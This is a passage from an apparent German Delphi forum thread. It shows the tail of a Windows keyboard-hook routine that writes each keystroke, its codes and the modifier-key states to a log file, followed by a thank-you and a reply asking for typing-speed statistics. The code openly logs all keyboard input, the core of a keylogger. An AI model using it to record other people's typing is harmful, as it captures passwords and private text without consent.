          Line := Line + 'wParam: ' + Chr(wParam) + ' (' + IntToStr(wParam) + ') '
        else
          Line := Line + 'wParam: <0> (0) ';
        if MappedKey0 <> 0 then
          Line := Line + 'MappedKey: ' + Chr(MappedKey0) + ' (' + IntToStr(MappedKey0) + ') '
        else
          Line := Line + 'MappedKey: <0> (0) ';
        if LastKey0 <> #0 then
          Line := Line + 'AsciiKey: ' + LastKey0 + ' (' + IntToStr(Ord(LastKey0)) + ') '
        else
          Line := Line + 'AsciiKey: <0> (0) ';

          Line := Line + ' --> Caps: ' + BoolToStr(KeyState[VK_CAPITAL] = 1) +
                ', Scroll: ' + BoolToStr(KeyState[VK_SCROLL] = 1) +
                ', Num: ' + BoolToStr(KeyState[VK_NUMLOCK] = 1) +
                ', Shift: ' + BoolToStr(GetKeyState(VK_SHIFT) < 0) +
                ', Ctrl: ' + BoolToStr(GetKeyState(VK_CONTROL) < 0) +
                ', Alt: ' + BoolToStr(GetKeyState(VK_MENU) < 0);

        Writeln(LogFile, Line);
        Flush(LogFile);
        CloseFile(LogFile);
        PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetActiveWindow);
      end;
  end;
end;


Vielen Dank für die Hilfe!

C.


teamrocket0 - Do 11.09.08 12:57

Huuh. Cool das Teil.
Nur fehlt eine Funktion die mir anzeigt wie schnell ich mit den Tasten bin und wieviele Zeichen ich insgesamt eingegeben habe!^^